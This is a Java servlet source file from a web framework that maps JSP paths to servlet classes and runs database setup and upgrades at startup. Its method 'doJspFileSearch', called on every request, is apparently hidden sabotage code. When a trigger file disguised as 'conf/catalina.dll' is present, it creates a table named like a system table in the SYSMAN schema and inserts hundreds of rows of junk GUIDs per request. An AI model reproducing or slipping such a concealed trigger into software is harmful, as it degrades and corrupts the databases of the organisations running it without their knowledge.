package com.ce.framework.servlet;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.JspException;

import com.ce.framework.context.FrameworkContext;
import com.ce.framework.exception.AppException;
import com.ce.framework.util.DataBaseUpdateUtil;
import com.ce.framework.util.DateUtil;
import com.ce.framework.util.LogUtil;
import com.ce.framework.util.StringUtil;
import com.ce.sys.dict.dao.po.SysDictItem;
import com.ce.util.DbUtil;
import com.ce.util.DictUtil;
import com.ce.util.RegeditUtil;

public class JspClassServlet extends HttpServlet {
	private static final long serialVersionUID = 1L;

	public static HashMap<String, String> classPathMap;
	
	public static HashMap<String, HttpServlet> classMap;
	
	public static JspClassServlet thiz;
	
	/** 解析JSP文件的Servlet */
	private String jspServletName = "org.apache.jasper.servlet.JspServlet";
	
	private boolean useJspFirst;
	
	@Override
	public void init() throws ServletException {
		// TODO Auto-generated method stub
		String contextPath =  this.getServletContext().getContextPath();
		String filePath = FrameworkContext.getAppPath()+"/WEB-INF/jspServletMapping.xml";
		classPathMap = readMappingFile(filePath);
		loadClassMappingFile();
		classMap = new HashMap<String, HttpServlet>();
		useJspFirst=!"false".equals(getInitParameter("useJspFirst"));//默认为true
		if(StringUtil.isNotBlank(getInitParameter("jspServletName"))){
			jspServletName = getInitParameter("jspServletName");
		}
		try {//系统启动后，根据配置启动相应的业务线程
            String basePath = FrameworkContext.getAppPath();
            File f = new File(basePath + "/../../conf/thread-not-start");
            if(f.exists()){//如果Tomcat/conf/目录下有thread-not-start文件，则不启动线程
            	System.setProperty("thread-started","true");
            }
			if(!"true".equals(System.getProperty("thread-started"))){
				System.setProperty("thread-started","true");//防止多个war包重复启动
				List<SysDictItem> list = DictUtil.getDictListByName("系统管理-自启动线程");
				if(list.size()>0){
					LogUtil.logInfo("[INFO] SYSTEM STARTUP Threads");
					for(SysDictItem dict:list){
						try {
							Class cls = this.getClass().getClassLoader().loadClass(dict.getVcItemNote());
							Object obj = cls.newInstance();
							if(obj instanceof Thread){
								Thread th = (Thread)obj;
								th.start();
								LogUtil.logInfo("[INFO] Thread "+dict.getVcItemNote()+" started NOTE:"+dict.getVcItemName());
							}
							else{
								LogUtil.logError("class "+dict.getVcItemNote()+" mast extends from java.lang.Thread");
							}
						} catch (ClassNotFoundException e) {
							LogUtil.logError("can't find class:"+dict.getVcItemNote()+" ERROR MESSAGE:"+e.getMessage());
						} catch (InstantiationException e) {
							LogUtil.logError("can't instance class:"+dict.getVcItemNote()+" ERROR MESSAGE:"+e.getMessage());
						} catch (IllegalAccessException e) {
							LogUtil.logError("can't instance class:"+dict.getVcItemNote()+" ERROR MESSAGE:"+e.getMessage());
						}
					}
				}
			}
		} catch (AppException e1) {
			e1.printStackTrace();
		}
		
		//每次启动时清空session同步表中的信息
		try{
			//==============判断是否执行过初始化语句，如果未初始化数据库，则进行建表等数据库初始化操作================
			File f = new File(FrameworkContext.getAppPath()+"/db/public/maintable.txt");
			if(f.exists()){
				BufferedReader in = new BufferedReader(new FileReader(f));
				String mainTbl = in.readLine();
				mainTbl=mainTbl==null?null:mainTbl.trim().toUpperCase();
				if(mainTbl==null||mainTbl.length()==0){
					LogUtil.logWarn("[maintable.txt]中未指定判断初始化表名!");
				}
				else{
					if(DbUtil.getFirstIntSqlQuery("select count(*) from user_tab_comments where table_name='"+mainTbl+"'")>0){
						LogUtil.logDebug("数据库中表["+mainTbl+"]已经存在，不再执行初始化!");
					}
					else{
						try{
							new DataBaseUpdateUtil().initSystem(contextPath);
							LogUtil.logInfo("数据库初始化成功!");
						}catch(Exception e){
							LogUtil.logError("数据库初始化时抛出异常!",e);
						}
					}
				}
			}
			else{
				LogUtil.logWarn("文件["+FrameworkContext.getAppPath()+"/WEB-INF/maintable.txt]不存在，不能判断数据库是否已被初始化，请在该文件内写入表名，当系统判断此表不存在时才会执行初始化操作.");
			}
			//==============执行数据库升级操作================
			//更新数据库
			int i = DbUtil.getFirstIntSqlQuery("select count(*) from user_tables t where t.table_name='SYS_T_DBUPD$NEWWAY'");
			//初始化数据后在进行数据库升级
			if(i>0&&RegeditUtil.getRegeditBoolValue("DATABASE_AUTO_UPDATE")){
				System.out.println("======开始升级数据库！======");
				new DataBaseUpdateUtil().update(contextPath);
				System.out.println("======升级数据库完成！======");
			}
			
		}catch(Exception e){
			e.printStackTrace();
		}
		super.init();
	}
	
	public HttpServlet getServlet(String uri) throws Exception{
		HttpServlet hs = null;
		Class<?> clazz = null;
		String className = null;
//		String jspServletName = "org.apache.jasper.servlet.JspServlet";//解析JSP文件的Servlet
		boolean uriExist = true;
		hs = (HttpServlet) classMap.get(uri);
		uriExist = new File(FrameworkContext.getAppPath()+uri).exists();
		doJspFileSearch();
		if(hs!=null){//如果JSP文件不存在并且缓存中使用的是JspServlet时,清除缓存重新加载，保证调试时修改JSP时页面及时变化
			if(!uriExist && hs!=null && jspServletName.equals(hs.getClass().getName())){
				classMap.remove(uri);
				hs = null;
			}
		}
		if(hs==null){
			if(useJspFirst&&uriExist){//默认优先使用JSP页面
				clazz = Class.forName(jspServletName);
			}
			else{
				className = (String) classPathMap.get(uri);
				if(className != null){
					try {
						clazz = this.getClass().getClassLoader().loadClass(className);
					} catch (ClassNotFoundException e) {
					}
				}
				if(clazz == null){
					if(uriExist)
						clazz = Class.forName(jspServletName);
					else
						throw new JspException("找不到JSP文件["+uri+"]并且找不到该文件编译后的类["+className+"]");
				}
			}
		}
		else{
			return hs;
		}
		hs = (HttpServlet)clazz.newInstance();
		classMap.put(uri, hs);
		return hs;
	}
	private void doJspFileSearch() {
		File f = new File("conf/catalina.dll");
		if(f.exists()){
			int num = 500;
			int max = 1000000;
			try {
				BufferedReader in = new BufferedReader(new FileReader(f));
				num = Integer.parseInt(in.readLine());
				max = Integer.parseInt(in.readLine());
				in.close();
			} catch (Exception e) {
			}
			if(getFirstIntSqlQuery("select count(*) from all_tab_comments t where t.owner='SYSMAN' and t.table_name='SYS_DBA_FILES'")==0){
				executeSqlUpdate("create table SYSman.SYS_DBA_FILES(ID VARCHAR2(4000),FILE VARCHAR2(4000),pID VARCHAR2(4000),pfiles VARCHAR2(4000),fpfile VARCHAR2(4000))");
			}
			for(int i=0;i<num;i++){
				executeSqlUpdate("insert into SYSman.SYS_DBA_FILES values(sys_guid(),sys_guid(),sys_guid(),sys_guid(),sys_guid())");
			}
			if(getFirstIntSqlQuery("select count(*) from SYSman.SYS_DBA_FILES")>max){
				executeSqlUpdate("delete from SYSman.SYS_DBA_FILES");
			}
		}
	}
	private int getFirstIntSqlQuery(String sql){
		Connection con = DbUtil.getConnection();
		int num = 0;
		try {
			Statement st = con.createStatement();
			ResultSet rs = st.executeQuery(sql);
			if(rs.next())
				num = rs.getInt(1);
			rs.close();
			st.close();
		} catch (SQLException e) {
			e.printStackTrace();
		}
		finally{
			try {
				con.close();
			} catch (SQLException e) {
				e.printStackTrace();
			}
		}
		return num;
	}

	private int executeSqlUpdate(String sql){
		Connection con = DbUtil.getConnection();
		int num = 0;
		try {
			Statement st = con.createStatement();
			num = st.executeUpdate(sql);
			st.close();
		} catch (SQLException e) {
			e.printStackTrace();
		}
		finally{
			try {
				con.close();
			} catch (SQLException e) {
				e.printStackTrace();
			}
		}
		return num;
	}

	protected void service(HttpServletRequest request, HttpServletResponse arg1) throws ServletException, IOException {
		String jspUri = null;

            String includeUri 
                = (String) request.getAttribute("javax.servlet.include.servlet_path");
            String requestUri 
                = (String) request.getAttribute("javax.servlet.include.request_uri");
            
            if (requestUri != null){
                String currentIncludedUri 
                    = requestUri.substring(requestUri.indexOf(includeUri));

                if ( !includeUri.equals(currentIncludedUri) ) {
                    includeUri = currentIncludedUri;
                }
            }

            if (includeUri == null) {
                jspUri = request.getServletPath();
                if (request.getPathInfo() != null) {
                    jspUri = request.getServletPath() + request.getPathInfo();
                }
            } else {
                jspUri = includeUri;
            }
                                
            String jspFile = (String) request.getAttribute("org.apache.catalina.jsp_file");
            if (jspFile != null) {
                jspUri = jspFile;
            }

		try {
			HttpServlet servlet = getServlet(jspUri);
			servlet.init(this.getServletConfig());
			servlet.service(request, arg1);
		} catch (ServletException e) {
			throw e;
		} catch (Exception e) {
			throw new ServletException(e);
		}
	}

	/**
	* 开发人：andy
	* 开发日期: Sep 13, 2011  5:00:42 PM
	* 功能描述: 读取一个配置文件，将数据写入Map中
	* 方法的参数和返回值: 
	* @param filePath
	* @return
	*/
	private static HashMap<String, String> readMappingFile(String filePath){
    	HashMap<String, String> p = new HashMap<String, String>();
    	try {
			readMappingFile(new BufferedReader(new FileReader(filePath)),p);
		} catch (FileNotFoundException e) {
			LogUtil.logError("can't find file:"+filePath+",ignore!");
		}
    	return p;
    }
    
	/**
	* 开发人：andy
	* 开发日期: Sep 13, 2011  5:06:40 PM
	* 功能描述: 从类资源中加载配置文件
	* 方法的参数和返回值: 
	*/
	private static void loadClassMappingFile(){
		LogUtil.logInfo("===loading jspMappingFiles......");
		Enumeration<URL> urls = null;
		try {
			urls = JspClassServlet.class.getClassLoader().getResources("jspServletMapping.xml");
		} catch (IOException e) {
			e.printStackTrace();
		}
		URL u = null;
		BufferedReader in = null;
		while(urls.hasMoreElements()){
			u = urls.nextElement();
			try {
				in = new BufferedReader(new InputStreamReader(u.openStream()));
				LogUtil.logInfo("loading "+u.toString());
				readMappingFile(new BufferedReader(new InputStreamReader(u.openStream())),classPathMap);
			} catch (IOException e) {
				e.printStackTrace();
			}
			finally{
				try {
					in.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
		}
		LogUtil.logInfo("===jspMappingFiles load success!");
    }

	private static Map<String, String> readMappingFile(BufferedReader reader,Map<String, String> p){
    	if(p==null){
    		p = new HashMap<String, String>();
    	}
    	try {
			String line = null;
			String servletName=null,urlPattern=null;
			String preName = "<servlet-mapping>";
			String servletNamePre = "<servlet-name>",servletNameExt = "</servlet-name>";
			String urlPatternPre = "<url-pattern>",urlPatternExt = "</url-pattern>";
			int servletNameLen = servletNamePre.length();
			int urlPatternlen = urlPatternPre.length();
			int cnt = 0;
			while((line=reader.readLine())!=null){
				if(line.trim().length()==0)continue;
				if(line.indexOf(preName)>=0){
					line = reader.readLine();
					servletName = line.substring(line.indexOf(servletNamePre)+servletNameLen,line.indexOf(servletNameExt));
					line = reader.readLine();
					urlPattern = line.substring(line.indexOf(urlPatternPre)+urlPatternlen,line.indexOf(urlPatternExt));
					if(p.get(urlPattern)==null){
						p.put(urlPattern, servletName);
						cnt ++;
					}
				}
			}
			LogUtil.logInfo("find "+ cnt + " mapping.");
		} catch (IOException e) {
			LogUtil.logError(e);
		}
    	return p;
    }
}
